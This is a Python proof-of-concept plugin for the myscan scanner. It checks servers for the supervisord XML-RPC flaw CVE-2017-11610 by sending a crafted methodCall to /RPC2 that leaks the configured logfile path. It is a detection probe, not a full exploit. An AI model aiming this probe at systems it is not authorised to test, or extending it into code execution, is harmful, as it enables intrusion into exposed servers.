#!/usr/bin/env python3
# @Time    : 2020-04-26
# @Author  : caicai
# @File    : poc_supervisord-cve-2017-11610_2017.py
import re
from myscan.lib.parse.dictdata_parser import dictdata_parser  # 写了一些操作dictdata的方法的类
from myscan.lib.parse.response_parser import response_parser  ##写了一些操作resonse的方法的类
from myscan.lib.helper.request import request  # 修改了requests.request请求的库，建议使用此库，会在redis计数
from myscan.lib.helper.helper_socket import socket_send_withssl, socket_send  # 如果需要，socket的方法封装
from myscan.config import scan_set
from myscan.lib.core.common import get_random_num
class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "supervisord rce"
        self.vulmsg = "see it:https://github.com/vulhub/vulhub/tree/master/supervisor/CVE-2017-11610\nhttps://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html"
        self.level = 3  # 0:Low  1:Medium 2:High

    def verify(self):
        # 根据config.py 配置的深度，限定一下目录深度
        if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
            return
        req = {
            "method": "POST",
            "url": self.url + "RPC2",
            "headers": {
                "Accept-Encoding": "gzip",
                "Content-Type": "text/xml",
                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169"
            },
            "allow_redirects": False,
            "timeout": 10,
            "verify": False,
        }

        logfile = '''<?xml version='1.0'?>
        <methodCall>
        <methodName>supervisor.supervisord.options.logfile.strip</methodName>
        <params>
        </params>
        </methodCall>'''

        req['data']=logfile
        r = request(**req)
        if r != None  and r.status_code==200:
            res = re.search(b"<value><string>(.*?)</string></value>", r.content)
            if res:
                logfile_path = res.group(1).decode()
                parser_ = response_parser(r)
                self.result.append({
                    "name": self.name,
                    "url": parser_.geturl(),
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "logpath":logfile_path,
                        "request": parser_.getrequestraw(),
                        "response": parser_.getresponseraw()
                    }
                })